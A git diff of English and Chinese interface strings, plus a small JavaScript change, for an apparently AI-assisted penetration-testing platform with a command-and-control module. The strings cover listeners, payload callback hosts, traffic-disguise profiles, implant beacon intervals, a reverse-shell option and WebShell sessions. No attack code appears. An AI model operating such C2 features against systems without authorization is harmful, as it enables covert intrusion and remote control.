"clipboardCopied": "Copied to clipboard",
|
"clipboardCopied": "Copied to clipboard",
|
||||||
|
"common": {
|
||||||
|
"justNow": "Just now",
|
||||||
|
"minutesAgo": "{{n}}m ago",
|
||||||
|
"hoursAgo": "{{n}}h ago"
|
||||||
|
},
|
||||||
"fmt": {
|
"fmt": {
|
||||||
"durationMs": "{{n}}ms",
|
"durationMs": "{{n}}ms",
|
||||||
"durationSec": "{{n}}s",
|
"durationSec": "{{n}}s",
|
||||||
@@ -2613,6 +2753,8 @@
|
|||||||
"bindHintExternal": "Use 0.0.0.0 to allow external access",
|
"bindHintExternal": "Use 0.0.0.0 to allow external access",
|
||||||
"callbackHost": "Callback host (optional)",
|
"callbackHost": "Callback host (optional)",
|
||||||
"callbackHostHint": "Public IP or hostname stored for payloads/beacons; separate from bind address. If empty, payload generation falls back to bind address / auto-detect.",
|
"callbackHostHint": "Public IP or hostname stored for payloads/beacons; separate from bind address. If empty, payload generation falls back to bind address / auto-detect.",
|
||||||
|
"allowLegacyShell": "Allow unencrypted classic reverse shell (lab only)",
|
||||||
|
"allowLegacyShellHint": "Off by default. When enabled, raw bash/nc TCP connections register sessions and are vulnerable to internet scanners; use encrypted Beacon builds for production.",
|
||||||
"malleableProfile": "Malleable Profile",
|
"malleableProfile": "Malleable Profile",
|
||||||
"malleableProfileHint": "Optional; HTTP/HTTPS Beacon response headers and traffic disguise. Stop and start the listener again for changes to take effect.",
|
"malleableProfileHint": "Optional; HTTP/HTTPS Beacon response headers and traffic disguise. Stop and start the listener again for changes to take effect.",
|
||||||
"malleableProfileNone": "None",
|
"malleableProfileNone": "None",
|
||||||
@@ -2690,10 +2832,22 @@
|
|||||||
"infoFirstSeen": "First seen",
|
"infoFirstSeen": "First seen",
|
||||||
"infoLastCheckin": "Last check-in",
|
"infoLastCheckin": "Last check-in",
|
||||||
"infoNote": "Note",
|
"infoNote": "Note",
|
||||||
|
"infoNoteEmpty": "No notes",
|
||||||
|
"infoSectionIdentity": "Identity",
|
||||||
|
"infoSectionSystem": "System",
|
||||||
|
"infoSectionNetwork": "Network & beacon",
|
||||||
|
"infoSectionTimeline": "Timeline",
|
||||||
|
"infoSectionNote": "Notes",
|
||||||
"adminYes": "Yes",
|
"adminYes": "Yes",
|
||||||
"adminNo": "No",
|
"adminNo": "No",
|
||||||
"promptSleepSeconds": "Sleep interval (seconds)",
|
"promptSleepSeconds": "Sleep interval (seconds)",
|
||||||
"promptJitterPercent": "Jitter percent (0–100)",
|
"promptJitterPercent": "Jitter percent (0–100)",
|
||||||
|
"sleepModalHint": "Saves to the server and queues a sleep task. The implant applies it on the next task poll; later check-ins keep this config.",
|
||||||
|
"sleepModalTitle": "Beacon interval",
|
||||||
|
"sleepModalCurrent": "Current {{sec}}s · jitter {{jitter}}%",
|
||||||
|
"sleepModalPreview": "Estimated {{min}} – {{max}} s",
|
||||||
|
"sleepModalPresets": "Presets",
|
||||||
|
"toastSleepInvalid": "Sleep interval must be at least 1 second",
|
||||||
"toastSleepUpdated": "Sleep settings updated",
|
"toastSleepUpdated": "Sleep settings updated",
|
||||||
"confirmExitSession": "Send exit command to this session?",
|
"confirmExitSession": "Send exit command to this session?",
|
||||||
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
|
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
|
||||||
@@ -2711,7 +2865,25 @@
|
|||||||
"termWaitFinish": "Please wait for the current command to finish",
|
"termWaitFinish": "Please wait for the current command to finish",
|
||||||
"termCtrlC": "Remote interrupt is not supported in this version",
|
"termCtrlC": "Remote interrupt is not supported in this version",
|
||||||
"termQueued": "[Command queued — will run after the current task completes]",
|
"termQueued": "[Command queued — will run after the current task completes]",
|
||||||
"clearTerminal": "Clear"
|
"clearTerminal": "Clear",
|
||||||
|
"batchDelete": "Delete selected",
|
||||||
|
"deleteFiltered": "Delete filtered",
|
||||||
|
"selectAll": "Select all",
|
||||||
|
"filterAllStatus": "All statuses",
|
||||||
|
"filterAllListeners": "All listeners",
|
||||||
|
"filterSearchPlaceholder": "Search hostname / user / IP",
|
||||||
|
"filterApply": "Filter",
|
||||||
|
"filterReset": "Reset",
|
||||||
|
"filterSuspicious": "Likely false positives",
|
||||||
|
"filterCount": "{{n}} total, {{selected}} selected",
|
||||||
|
"emptyFilter": "No sessions match the current filters",
|
||||||
|
"listEmpty": "No sessions",
|
||||||
|
"selectPromptTitle": "Select a session",
|
||||||
|
"selectPromptHint": "Click a session in the list on the left to view terminal, files, and tasks.",
|
||||||
|
"confirmBatchDelete": "Delete {{n}} selected session(s)? Related tasks and file records will be removed.",
|
||||||
|
"confirmDeleteFiltered": "Delete all {{n}} session(s) in the current filter results?",
|
||||||
|
"toastSelectFirst": "Select at least one session to delete",
|
||||||
|
"toastBatchDeleted": "Deleted {{n}} session(s)"
|
||||||
},
|
},
|
||||||
"tasks": {
|
"tasks": {
|
||||||
"title": "Task Management",
|
"title": "Task Management",
|
||||||
@@ -2734,6 +2906,8 @@
|
|||||||
"pending": "Pending",
|
"pending": "Pending",
|
||||||
"emptyAll": "No tasks yet",
|
"emptyAll": "No tasks yet",
|
||||||
"emptySession": "No tasks for this session",
|
"emptySession": "No tasks for this session",
|
||||||
|
"sessionTaskHistory": "Task history",
|
||||||
|
"sessionTaskCount": "{{n}} tasks",
|
||||||
"colTask": "Task",
|
"colTask": "Task",
|
||||||
"colSession": "Session",
|
"colSession": "Session",
|
||||||
"colType": "Type",
|
"colType": "Type",
|
||||||
|
|||||||
+178
-4
@@ -198,6 +198,7 @@
|
|||||||
"statusConfirmed": "已确认",
|
"statusConfirmed": "已确认",
|
||||||
"statusFixed": "已修复",
|
"statusFixed": "已修复",
|
||||||
"statusFalsePositive": "误报",
|
"statusFalsePositive": "误报",
|
||||||
|
"statusIgnored": "已忽略",
|
||||||
"fixRate": "修复率",
|
"fixRate": "修复率",
|
||||||
"dataStale": "数据可能已过期,请手动刷新",
|
"dataStale": "数据可能已过期,请手动刷新",
|
||||||
"recommendedActions": "推荐操作",
|
"recommendedActions": "推荐操作",
|
||||||
@@ -273,6 +274,8 @@
|
|||||||
"status": "状态",
|
"status": "状态",
|
||||||
"modalNewTitle": "新建项目",
|
"modalNewTitle": "新建项目",
|
||||||
"modalNewSubtitle": "创建后可绑定对话,跨会话共享事实黑板",
|
"modalNewSubtitle": "创建后可绑定对话,跨会话共享事实黑板",
|
||||||
|
"modalEditTitle": "编辑项目",
|
||||||
|
"modalEditSubtitle": "修改项目名称与描述",
|
||||||
"projectName": "项目名称",
|
"projectName": "项目名称",
|
||||||
"projectNamePlaceholder": "例如:某客户 Web 渗透",
|
"projectNamePlaceholder": "例如:某客户 Web 渗透",
|
||||||
"projectDescription": "项目描述",
|
"projectDescription": "项目描述",
|
||||||
@@ -311,6 +314,9 @@
|
|||||||
"statsSparse": "{{count}} 待补全",
|
"statsSparse": "{{count}} 待补全",
|
||||||
"projectNotFound": "项目不存在",
|
"projectNotFound": "项目不存在",
|
||||||
"updatedPrefix": "更新于 {{time}}",
|
"updatedPrefix": "更新于 {{time}}",
|
||||||
|
"descExpand": "展开全部",
|
||||||
|
"descCollapse": "收起",
|
||||||
|
"descriptionLengthHint": "简要说明即可(最多 4000 字);大段日志/POC 请写入事实黑板 body",
|
||||||
"noMatchingFacts": "无匹配事实,请调整筛选条件",
|
"noMatchingFacts": "无匹配事实,请调整筛选条件",
|
||||||
"noFacts": "暂无事实,点击「添加事实」或由 Agent 自动写入",
|
"noFacts": "暂无事实,点击「添加事实」或由 Agent 自动写入",
|
||||||
"relatedVulnIdTitle": "关联漏洞 ID",
|
"relatedVulnIdTitle": "关联漏洞 ID",
|
||||||
@@ -394,6 +400,10 @@
|
|||||||
"dangerZoneTitle": "危险操作",
|
"dangerZoneTitle": "危险操作",
|
||||||
"dangerZoneHint": "归档后需在列表勾选「显示已归档」才能查看;删除将清除全部事实且不可恢复。",
|
"dangerZoneHint": "归档后需在列表勾选「显示已归档」才能查看;删除将清除全部事实且不可恢复。",
|
||||||
"archiveRestore": "归档 / 恢复",
|
"archiveRestore": "归档 / 恢复",
|
||||||
|
"archiveProject": "归档",
|
||||||
|
"editProject": "编辑",
|
||||||
|
"restoreProjectActive": "恢复为进行中",
|
||||||
|
"projectActions": "项目操作",
|
||||||
"deleteProject": "删除项目",
|
"deleteProject": "删除项目",
|
||||||
"saveChangesHint": "修改后请点击保存以同步到服务器",
|
"saveChangesHint": "修改后请点击保存以同步到服务器",
|
||||||
"saveSettings": "保存更改",
|
"saveSettings": "保存更改",
|
||||||
@@ -452,7 +462,7 @@
|
|||||||
"noHistoryConversations": "暂无历史对话",
|
"noHistoryConversations": "暂无历史对话",
|
||||||
"renameGroupPrompt": "请输入新名称:",
|
"renameGroupPrompt": "请输入新名称:",
|
||||||
"deleteGroupConfirm": "确定要删除此分组吗?分组中的对话不会被删除,但会从分组中移除。",
|
"deleteGroupConfirm": "确定要删除此分组吗?分组中的对话不会被删除,但会从分组中移除。",
|
||||||
"deleteConversationConfirm": "确定要删除此对话吗?",
|
"deleteConversationConfirm": "确定要删除此对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。",
|
||||||
"renameFailed": "重命名失败",
|
"renameFailed": "重命名失败",
|
||||||
"downloadConversationFailed": "下载对话失败",
|
"downloadConversationFailed": "下载对话失败",
|
||||||
"viewAttackChainSelectConv": "请选择一个对话以查看攻击链",
|
"viewAttackChainSelectConv": "请选择一个对话以查看攻击链",
|
||||||
@@ -489,6 +499,8 @@
|
|||||||
"einoStreamErrorTitle": "⚠️ Eino 流式中断({{agent}})",
|
"einoStreamErrorTitle": "⚠️ Eino 流式中断({{agent}})",
|
||||||
"einoStreamErrorMessage": "流式读取异常,系统将按策略重试或结束。",
|
"einoStreamErrorMessage": "流式读取异常,系统将按策略重试或结束。",
|
||||||
"einoRunRetryTitle": "🔁 临时错误重试",
|
"einoRunRetryTitle": "🔁 临时错误重试",
|
||||||
|
"einoEmptyResponseContinueTitle": "🔁 自动续跑(无助手正文)",
|
||||||
|
"einoEmptyResponseContinueMessage": "会话已结束但未捕获到助手正文,正在基于轨迹自动续跑…",
|
||||||
"einoRunRetryErrorDetail": "具体报错",
|
"einoRunRetryErrorDetail": "具体报错",
|
||||||
"iterationLimitReachedTitle": "⛔ 达到迭代上限",
|
"iterationLimitReachedTitle": "⛔ 达到迭代上限",
|
||||||
"iterationLimitReachedMessage": "已达到最大迭代次数,任务已停止继续自动迭代。",
|
"iterationLimitReachedMessage": "已达到最大迭代次数,任务已停止继续自动迭代。",
|
||||||
@@ -946,6 +958,9 @@
|
|||||||
"externalBadge": "外部",
|
"externalBadge": "外部",
|
||||||
"externalFrom": "外部 ({{name}})",
|
"externalFrom": "外部 ({{name}})",
|
||||||
"externalToolFrom": "外部MCP工具 - 来源:{{name}}",
|
"externalToolFrom": "外部MCP工具 - 来源:{{name}}",
|
||||||
|
"clickToViewTools": "点击查看 {{name}} 的工具",
|
||||||
|
"filterBySource": "来源: {{name}}",
|
||||||
|
"clearSourceFilter": "清除来源筛选",
|
||||||
"noDescription": "无描述",
|
"noDescription": "无描述",
|
||||||
"paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 个工具",
|
"paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 个工具",
|
||||||
"perPage": "每页:",
|
"perPage": "每页:",
|
||||||
@@ -1056,6 +1071,7 @@
|
|||||||
"botAgent": "Bot Agent",
|
"botAgent": "Bot Agent",
|
||||||
"ilinkBotId": "iLink Bot ID(绑定后自动填充)",
|
"ilinkBotId": "iLink Bot ID(绑定后自动填充)",
|
||||||
"boundSuccess": "绑定成功,微信机器人已启用。",
|
"boundSuccess": "绑定成功,微信机器人已启用。",
|
||||||
|
"alreadyBound": "该微信已绑定过,无需重复绑定。",
|
||||||
"openLink": "无法显示二维码?点击用手机微信打开链接"
|
"openLink": "无法显示二维码?点击用手机微信打开链接"
|
||||||
},
|
},
|
||||||
"wecom": {
|
"wecom": {
|
||||||
@@ -1565,6 +1581,7 @@
|
|||||||
"timelineSummary": "区间内 {{total}} 次 · 峰值 {{peak}}",
|
"timelineSummary": "区间内 {{total}} 次 · 峰值 {{peak}}",
|
||||||
"timelineSparseHint": "该时段多数时间为 0,峰值 {{peak}} 次出现在 {{peakTime}}",
|
"timelineSparseHint": "该时段多数时间为 0,峰值 {{peak}} 次出现在 {{peakTime}}",
|
||||||
"timelineNoData": "该时段暂无调用",
|
"timelineNoData": "该时段暂无调用",
|
||||||
|
"timelineEmptyHint": "切换时间范围查看其他时段,或在对话/任务中调用 MCP 工具",
|
||||||
"timelineLoadError": "无法加载调用趋势",
|
"timelineLoadError": "无法加载调用趋势",
|
||||||
"timelineTotalLegend": "总调用",
|
"timelineTotalLegend": "总调用",
|
||||||
"timelineFailedLegend": "失败",
|
"timelineFailedLegend": "失败",
|
||||||
@@ -1791,6 +1808,7 @@
|
|||||||
"statusConfirmed": "已确认",
|
"statusConfirmed": "已确认",
|
||||||
"statusFixed": "已修复",
|
"statusFixed": "已修复",
|
||||||
"statusFalsePositive": "误报",
|
"statusFalsePositive": "误报",
|
||||||
|
"statusIgnored": "已忽略",
|
||||||
"searchVulnId": "搜索漏洞 ID",
|
"searchVulnId": "搜索漏洞 ID",
|
||||||
"searchKeyword": "搜索标题、描述、类型、目标…",
|
"searchKeyword": "搜索标题、描述、类型、目标…",
|
||||||
"searchKeywordShort": "关键词",
|
"searchKeywordShort": "关键词",
|
||||||
@@ -1909,6 +1927,13 @@
|
|||||||
"openaiBaseUrlPlaceholder": "https://api.openai.com/v1",
|
"openaiBaseUrlPlaceholder": "https://api.openai.com/v1",
|
||||||
"openaiApiKeyPlaceholder": "输入OpenAI API Key",
|
"openaiApiKeyPlaceholder": "输入OpenAI API Key",
|
||||||
"modelPlaceholder": "gpt-4",
|
"modelPlaceholder": "gpt-4",
|
||||||
|
"fetchModels": "获取列表",
|
||||||
|
"modelsListFetching": "正在获取模型列表...",
|
||||||
|
"modelsListSelectPlaceholder": "请选择模型",
|
||||||
|
"modelsListSuccess": "已加载 {count} 个模型,请用右侧下拉框选择,或继续在左侧输入",
|
||||||
|
"modelsListFailed": "获取模型列表失败",
|
||||||
|
"modelsListNeedApiKey": "请先填写 API Key",
|
||||||
|
"modelsListClaudeHint": "Claude 不支持自动获取模型列表,请手动填写",
|
||||||
"maxTotalTokens": "最大上下文 Token 数",
|
"maxTotalTokens": "最大上下文 Token 数",
|
||||||
"maxTotalTokensPlaceholder": "120000",
|
"maxTotalTokensPlaceholder": "120000",
|
||||||
"maxTotalTokensHint": "内存压缩和攻击链构建共用此配置,默认 120000",
|
"maxTotalTokensHint": "内存压缩和攻击链构建共用此配置,默认 120000",
|
||||||
@@ -2057,14 +2082,35 @@
|
|||||||
"filterResult": "结果",
|
"filterResult": "结果",
|
||||||
"pageSize": "每页",
|
"pageSize": "每页",
|
||||||
"statTotal": "当前筛选",
|
"statTotal": "当前筛选",
|
||||||
|
"statSuccess": "成功",
|
||||||
"statFailures": "失败",
|
"statFailures": "失败",
|
||||||
"statRecent7d": "近 7 天",
|
"statRecent7d": "近 7 天",
|
||||||
"retentionHint": "审计记录保留 {{days}} 天,超期自动清理。",
|
"retentionHint": "审计记录保留 {{days}} 天,超期自动清理。",
|
||||||
"disabledHint": "审计功能已关闭,新操作不会写入审计表。",
|
"disabledHint": "审计功能已关闭,新操作不会写入审计表。",
|
||||||
"filterSince": "开始时间",
|
"filterSince": "开始时间",
|
||||||
"filterUntil": "结束时间",
|
"filterUntil": "结束时间",
|
||||||
|
"filterTimeZone": "时区:{{tz}}(筛选按浏览器本地时间)",
|
||||||
|
"datetimePlaceholder": "选择日期时间",
|
||||||
|
"timePresets": "快捷",
|
||||||
|
"preset15m": "最近15分钟",
|
||||||
|
"preset1h": "最近1小时",
|
||||||
|
"preset24h": "最近24小时",
|
||||||
|
"preset7d": "最近7天",
|
||||||
|
"presetToday": "今天",
|
||||||
|
"pickerHour": "时",
|
||||||
|
"pickerMinute": "分",
|
||||||
|
"pickerClear": "清除",
|
||||||
|
"pickerToday": "今天",
|
||||||
|
"pickerConfirm": "确定",
|
||||||
"filterQuery": "关键词",
|
"filterQuery": "关键词",
|
||||||
"filterQueryPlaceholder": "消息 / 资源 ID / 操作名",
|
"filterQueryPlaceholder": "消息 / 资源 ID / 操作名",
|
||||||
|
"colTime": "时间",
|
||||||
|
"colMessage": "说明",
|
||||||
|
"colCategory": "类别",
|
||||||
|
"colAction": "操作",
|
||||||
|
"colResult": "结果",
|
||||||
|
"colIp": "IP",
|
||||||
|
"colResource": "资源 ID",
|
||||||
"cat": {
|
"cat": {
|
||||||
"auth": "认证",
|
"auth": "认证",
|
||||||
"config": "配置",
|
"config": "配置",
|
||||||
@@ -2137,6 +2183,93 @@
|
|||||||
"exportDone": "导出完成",
|
"exportDone": "导出完成",
|
||||||
"loading": "加载中...",
|
"loading": "加载中...",
|
||||||
"empty": "暂无审计记录",
|
"empty": "暂无审计记录",
|
||||||
|
"result": {
|
||||||
|
"success": "成功",
|
||||||
|
"failure": "失败"
|
||||||
|
},
|
||||||
|
"msg": {
|
||||||
|
"auth": {
|
||||||
|
"login": "登录成功",
|
||||||
|
"login_failed": "登录失败:密码错误",
|
||||||
|
"logout": "退出登录",
|
||||||
|
"change_password": "登录密码已修改",
|
||||||
|
"change_password_failed": "修改密码失败:当前密码不正确"
|
||||||
|
},
|
||||||
|
"config": {
|
||||||
|
"apply": "配置已应用",
|
||||||
|
"update": "更新内存配置",
|
||||||
|
"apply_fail_kb_init": "应用配置失败:初始化知识库",
|
||||||
|
"apply_fail_kb_reinit": "应用配置失败:重新初始化知识库",
|
||||||
|
"apply_fail_c2": "应用配置失败:C2"
|
||||||
|
},
|
||||||
|
"conversation": {
|
||||||
|
"create": "创建对话",
|
||||||
|
"delete": "删除对话",
|
||||||
|
"delete_turn": "删除对话轮次"
|
||||||
|
},
|
||||||
|
"c2": {
|
||||||
|
"listener_create": "创建 C2 监听器",
|
||||||
|
"listener_delete": "删除 C2 监听器",
|
||||||
|
"listener_start": "启动 C2 监听器",
|
||||||
|
"listener_stop": "停止 C2 监听器",
|
||||||
|
"session_delete": "删除 C2 会话",
|
||||||
|
"task_create": "创建 C2 任务",
|
||||||
|
"task_cancel": "取消 C2 任务",
|
||||||
|
"task_delete": "批量删除 C2 任务"
|
||||||
|
},
|
||||||
|
"webshell": {
|
||||||
|
"connection_create": "创建 WebShell 连接",
|
||||||
|
"connection_delete": "删除 WebShell 连接"
|
||||||
|
},
|
||||||
|
"knowledge": {
|
||||||
|
"item_delete": "删除知识项",
|
||||||
|
"index_rebuild": "重建知识库索引"
|
||||||
|
},
|
||||||
|
"vulnerability": {
|
||||||
|
"create": "创建漏洞记录",
|
||||||
|
"update": "更新漏洞记录",
|
||||||
|
"delete": "删除漏洞记录",
|
||||||
|
"delete_batch": "批量删除漏洞记录"
|
||||||
|
},
|
||||||
|
"external_mcp": {
|
||||||
|
"upsert": "更新外部 MCP 配置",
|
||||||
|
"delete": "删除外部 MCP 配置"
|
||||||
|
},
|
||||||
|
"task": {
|
||||||
|
"create_queue": "创建批量任务队列",
|
||||||
|
"start_queue": "启动批量任务队列",
|
||||||
|
"delete_queue": "删除批量任务队列",
|
||||||
|
"pause_queue": "暂停批量任务队列",
|
||||||
|
"rerun_queue": "重跑批量任务队列",
|
||||||
|
"delete_batch_task": "删除批量子任务"
|
||||||
|
},
|
||||||
|
"tool": {
|
||||||
|
"execution_delete": "删除工具执行记录",
|
||||||
|
"execution_delete_batch": "批量删除工具执行记录"
|
||||||
|
},
|
||||||
|
"file": {
|
||||||
|
"upload": "上传对话附件",
|
||||||
|
"delete": "删除对话附件"
|
||||||
|
},
|
||||||
|
"hitl": {
|
||||||
|
"decision": "HITL 审批决策"
|
||||||
|
},
|
||||||
|
"role": {
|
||||||
|
"create": "创建角色",
|
||||||
|
"update": "更新角色",
|
||||||
|
"delete": "删除角色"
|
||||||
|
},
|
||||||
|
"skill": {
|
||||||
|
"create": "创建 Skill",
|
||||||
|
"update": "更新 Skill",
|
||||||
|
"delete": "删除 Skill"
|
||||||
|
},
|
||||||
|
"agent": {
|
||||||
|
"markdown_create": "创建 Markdown 子代理",
|
||||||
|
"markdown_update": "更新 Markdown 子代理",
|
||||||
|
"markdown_delete": "删除 Markdown 子代理"
|
||||||
|
}
|
||||||
|
},
|
||||||
"paginationShow": "显示 {{start}}-{{end}} / 共 {{total}} 条",
|
"paginationShow": "显示 {{start}}-{{end}} / 共 {{total}} 条",
|
||||||
"detailTitle": "审计详情",
|
"detailTitle": "审计详情",
|
||||||
"detailTime": "时间",
|
"detailTime": "时间",
|
||||||
@@ -2215,7 +2348,8 @@
|
|||||||
"copyContent": "复制内容",
|
"copyContent": "复制内容",
|
||||||
"correctInfo": "正确信息",
|
"correctInfo": "正确信息",
|
||||||
"errorInfo": "错误信息",
|
"errorInfo": "错误信息",
|
||||||
"copyError": "复制错误"
|
"copyError": "复制错误",
|
||||||
|
"contentTruncated": "…(展示已截断;完整内容见 persisted-output 中的文件路径,用 read_file 读取)"
|
||||||
},
|
},
|
||||||
"attackChainModal": {
|
"attackChainModal": {
|
||||||
"title": "攻击链可视化",
|
"title": "攻击链可视化",
|
||||||
@@ -2307,7 +2441,7 @@
|
|||||||
"selectAll": "全选",
|
"selectAll": "全选",
|
||||||
"deleteSelected": "删除所选",
|
"deleteSelected": "删除所选",
|
||||||
"confirmDeleteNone": "请先选择要删除的对话",
|
"confirmDeleteNone": "请先选择要删除的对话",
|
||||||
"confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗?",
|
"confirmDeleteN": "确定要删除选中的 {{count}} 条对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。",
|
||||||
"deleteFailed": "删除失败",
|
"deleteFailed": "删除失败",
|
||||||
"unnamedConversation": "未命名对话"
|
"unnamedConversation": "未命名对话"
|
||||||
},
|
},
|
||||||
@@ -2453,6 +2587,7 @@
|
|||||||
"statusConfirmed": "已确认",
|
"statusConfirmed": "已确认",
|
||||||
"statusFixed": "已修复",
|
"statusFixed": "已修复",
|
||||||
"statusFalsePositive": "误报",
|
"statusFalsePositive": "误报",
|
||||||
|
"statusIgnored": "已忽略",
|
||||||
"type": "漏洞类型",
|
"type": "漏洞类型",
|
||||||
"typePlaceholder": "如:SQL注入、XSS、CSRF等",
|
"typePlaceholder": "如:SQL注入、XSS、CSRF等",
|
||||||
"target": "目标",
|
"target": "目标",
|
||||||
@@ -2544,6 +2679,11 @@
|
|||||||
},
|
},
|
||||||
"c2": {
|
"c2": {
|
||||||
"clipboardCopied": "已复制到剪贴板",
|
"clipboardCopied": "已复制到剪贴板",
|
||||||
|
"common": {
|
||||||
|
"justNow": "刚刚",
|
||||||
|
"minutesAgo": "{{n}} 分钟前",
|
||||||
|
"hoursAgo": "{{n}} 小时前"
|
||||||
|
},
|
||||||
"fmt": {
|
"fmt": {
|
||||||
"durationMs": "{{n}}ms",
|
"durationMs": "{{n}}ms",
|
||||||
"durationSec": "{{n}}秒",
|
"durationSec": "{{n}}秒",
|
||||||
@@ -2601,6 +2741,8 @@
|
|||||||
"bindHintExternal": "使用 0.0.0.0 允许外部访问",
|
"bindHintExternal": "使用 0.0.0.0 允许外部访问",
|
||||||
"callbackHost": "回连地址(可选)",
|
"callbackHost": "回连地址(可选)",
|
||||||
"callbackHostHint": "公网 IP 或域名,写入配置供 Payload/Beacon 使用;与「绑定地址」分离。不填则生成 Payload 时按绑定地址或自动探测。",
|
"callbackHostHint": "公网 IP 或域名,写入配置供 Payload/Beacon 使用;与「绑定地址」分离。不填则生成 Payload 时按绑定地址或自动探测。",
|
||||||
|
"allowLegacyShell": "允许未加密经典反弹 Shell(内网实验)",
|
||||||
|
"allowLegacyShellHint": "默认关闭。开启后 bash/nc 等裸 TCP 连接可登记会话,公网易被扫描器误连;生产环境请使用「生成 Beacon」加密上线。",
|
||||||
"malleableProfile": "Malleable Profile",
|
"malleableProfile": "Malleable Profile",
|
||||||
"malleableProfileHint": "可选;用于 HTTP/HTTPS Beacon 服务端响应头等流量伪装。修改后需停止并重新启动监听器才会生效。",
|
"malleableProfileHint": "可选;用于 HTTP/HTTPS Beacon 服务端响应头等流量伪装。修改后需停止并重新启动监听器才会生效。",
|
||||||
"malleableProfileNone": "不使用",
|
"malleableProfileNone": "不使用",
|
||||||
@@ -2678,10 +2820,22 @@
|
|||||||
"infoFirstSeen": "首次上线",
|
"infoFirstSeen": "首次上线",
|
||||||
"infoLastCheckin": "上次心跳",
|
"infoLastCheckin": "上次心跳",
|
||||||
"infoNote": "备注",
|
"infoNote": "备注",
|
||||||
|
"infoNoteEmpty": "暂无备注",
|
||||||
|
"infoSectionIdentity": "身份信息",
|
||||||
|
"infoSectionSystem": "系统环境",
|
||||||
|
"infoSectionNetwork": "网络与信标",
|
||||||
|
"infoSectionTimeline": "时间线",
|
||||||
|
"infoSectionNote": "备注",
|
||||||
"adminYes": "是",
|
"adminYes": "是",
|
||||||
"adminNo": "否",
|
"adminNo": "否",
|
||||||
"promptSleepSeconds": "Sleep 间隔(秒)",
|
"promptSleepSeconds": "Sleep 间隔(秒)",
|
||||||
"promptJitterPercent": "抖动百分比(0–100)",
|
"promptJitterPercent": "抖动百分比(0–100)",
|
||||||
|
"sleepModalHint": "保存后将写入服务端并下发 sleep 任务;植入体在下次拉取任务后生效,同时后续心跳会同步该配置。",
|
||||||
|
"sleepModalTitle": "心跳配置",
|
||||||
|
"sleepModalCurrent": "当前 {{sec}} 秒 · 抖动 {{jitter}}%",
|
||||||
|
"sleepModalPreview": "预计间隔 {{min}} – {{max}} 秒",
|
||||||
|
"sleepModalPresets": "快捷",
|
||||||
|
"toastSleepInvalid": "Sleep 间隔至少为 1 秒",
|
||||||
"toastSleepUpdated": "Sleep 设置已更新",
|
"toastSleepUpdated": "Sleep 设置已更新",
|
||||||
"confirmExitSession": "向该会话发送退出指令?",
|
"confirmExitSession": "向该会话发送退出指令?",
|
||||||
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
|
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
|
||||||
@@ -2699,7 +2853,25 @@
|
|||||||
"termWaitFinish": "请等待当前命令执行完成",
|
"termWaitFinish": "请等待当前命令执行完成",
|
||||||
"termCtrlC": "当前版本暂不支持中断远程命令",
|
"termCtrlC": "当前版本暂不支持中断远程命令",
|
||||||
"termQueued": "[命令已加入队列,将在当前任务完成后执行]",
|
"termQueued": "[命令已加入队列,将在当前任务完成后执行]",
|
||||||
"clearTerminal": "清屏"
|
"clearTerminal": "清屏",
|
||||||
|
"batchDelete": "批量删除",
|
||||||
|
"deleteFiltered": "删除筛选结果",
|
||||||
|
"selectAll": "全选",
|
||||||
|
"filterAllStatus": "全部状态",
|
||||||
|
"filterAllListeners": "全部监听器",
|
||||||
|
"filterSearchPlaceholder": "搜索主机名 / 用户 / IP",
|
||||||
|
"filterApply": "筛选",
|
||||||
|
"filterReset": "重置",
|
||||||
|
"filterSuspicious": "疑似误报",
|
||||||
|
"filterCount": "共 {{n}} 条,已选 {{selected}}",
|
||||||
|
"emptyFilter": "没有符合筛选条件的会话",
|
||||||
|
"listEmpty": "暂无会话",
|
||||||
|
"selectPromptTitle": "选择会话",
|
||||||
|
"selectPromptHint": "在左侧列表中点击一个会话,查看终端、文件与任务详情。",
|
||||||
|
"confirmBatchDelete": "确定删除选中的 {{n}} 个会话?关联任务与文件记录将一并清除。",
|
||||||
|
"confirmDeleteFiltered": "确定删除当前筛选结果中的全部 {{n}} 个会话?",
|
||||||
|
"toastSelectFirst": "请先勾选要删除的会话",
|
||||||
|
"toastBatchDeleted": "已删除 {{n}} 个会话"
|
||||||
},
|
},
|
||||||
"tasks": {
|
"tasks": {
|
||||||
"title": "任务管理",
|
"title": "任务管理",
|
||||||
@@ -2722,6 +2894,8 @@
|
|||||||
"pending": "待处理",
|
"pending": "待处理",
|
||||||
"emptyAll": "暂无任务",
|
"emptyAll": "暂无任务",
|
||||||
"emptySession": "该会话暂无任务",
|
"emptySession": "该会话暂无任务",
|
||||||
|
"sessionTaskHistory": "任务历史",
|
||||||
|
"sessionTaskCount": "共 {{n}} 条",
|
||||||
"colTask": "任务",
|
"colTask": "任务",
|
||||||
"colSession": "会话",
|
"colSession": "会话",
|
||||||
"colType": "类型",
|
"colType": "类型",
|
||||||
|
|||||||
+20
-17
@@ -105,45 +105,48 @@ function showAddMarkdownAgentModal() {
|
|||||||
document.getElementById('agent-md-bind-role').value = '';
|
document.getElementById('agent-md-bind-role').value = '';
|
||||||
document.getElementById('agent-md-max-iter').value = '0';
|
document.getElementById('agent-md-max-iter').value = '0';
|
||||||
document.getElementById('agent-md-instruction').value = '';
|
document.getElementById('agent-md-instruction').value = '';
|
||||||
if (modal) modal.style.display = 'flex';
|
openAppModal('agent-md-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
async function editMarkdownAgent(filename) {
|
async function editMarkdownAgent(filename) {
|
||||||
if (!filename) return;
|
if (!filename) return;
|
||||||
const modal = document.getElementById('agent-md-modal');
|
|
||||||
const title = document.getElementById('agent-md-modal-title');
|
const title = document.getElementById('agent-md-modal-title');
|
||||||
const row = document.getElementById('agent-md-filename-row');
|
const row = document.getElementById('agent-md-filename-row');
|
||||||
markdownAgentsEditingFilename = null;
|
markdownAgentsEditingFilename = null;
|
||||||
markdownAgentsEditingIsOrchestrator = false;
|
